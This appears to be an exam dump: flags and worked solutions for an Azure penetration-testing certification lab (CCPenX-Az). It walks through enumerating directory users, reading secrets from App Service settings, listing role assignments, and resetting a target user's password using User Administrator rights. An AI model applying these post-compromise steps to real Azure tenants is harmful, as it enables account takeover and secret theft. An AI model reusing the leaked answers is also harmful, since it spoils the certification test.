Authentic The SecOps Group Certification Exam CCPenX-Az Questions Answers

Flag{92c8bfe4a73f48a6bd94e62fca2179dd}

Detailed Solution:

As the second compromised user, enumerate directory users:

az ad user list --output table

Use a cleaner query to show names, UPNs, and job titles:

az ad user list \

--query " [].{DisplayName:displayName,UPN:userPrincipalName,JobTitle:jobTitle} " \

--output table

You should identify a target user whose profile contains a flag in the jobTitle attribute.

The important target is:

lila.nguyen@azuresecops.onmicrosoft.com

Her jobTitle field contains:

Flag{92c8bfe4a73f48a6bd94e62fca2179dd}

Because the compromised user has User Administrator, you can reset this target user’s password and later authenticate as her.

Final Answer:

Flag{92c8bfe4a73f48a6bd94e62fca2179dd}

================

Flag{a92f7e0c3c4b9d88a1f54e6723d4c1a2}

Detailed Solution:

Start by listing all Azure resources accessible to the compromised user.

az resource list --output table

The environment exposes at least these resources:

RnD-Tools Excalibur-Resources ukwest Microsoft.Web/sites

WebAppTokenIdentity Excalibur-Resources ukwest Microsoft.ManagedIdentity/userAssignedIdentities

The most interesting target is the App Service:

RnD-Tools

Web Apps often store configuration values in App Settings. These commonly contain secrets, flags, API keys, connection strings, or credentials.

Query the App Service application settings:

az webapp config appsettings list \

--name RnD-Tools \

--resource-group Excalibur-Resources \

--output json

Look for keys such as:

Flag

secret

password

token

connectionString

clientSecret

The exposed app setting contains:

{

" name " : " Flag " ,

" slotSetting " : false,

" value " : " Flag{a92f7e0c3c4b9d88a1f54e6723d4c1a2} "

}

Final Answer:

Flag{a92f7e0c3c4b9d88a1f54e6723d4c1a2}

================

olivia.admin@cloudcorpsec.onmicrosoft.com

Detailed Solution:

Run:

az role assignment list \

--resource-group rg-prod-apps-eastus \

--all \

--output table

Or filter by role:

az role assignment list \

--resource-group rg-prod-apps-eastus \

--role " User Access Administrator " \

--query " [].{Principal:principalName,Role:roleDefinitionName,Scope:scope} " \

--output table

Expected output:

Principal Role Scope

------------------------------------- ------------------------- ----------------------------

olivia.admin@cloudcorpsec.onmicrosoft.com User Access Administrator /subscriptions/.../rg-prod-apps-eastus

Final answer:

olivia.admin@cloudcorpsec.onmicrosoft.com

================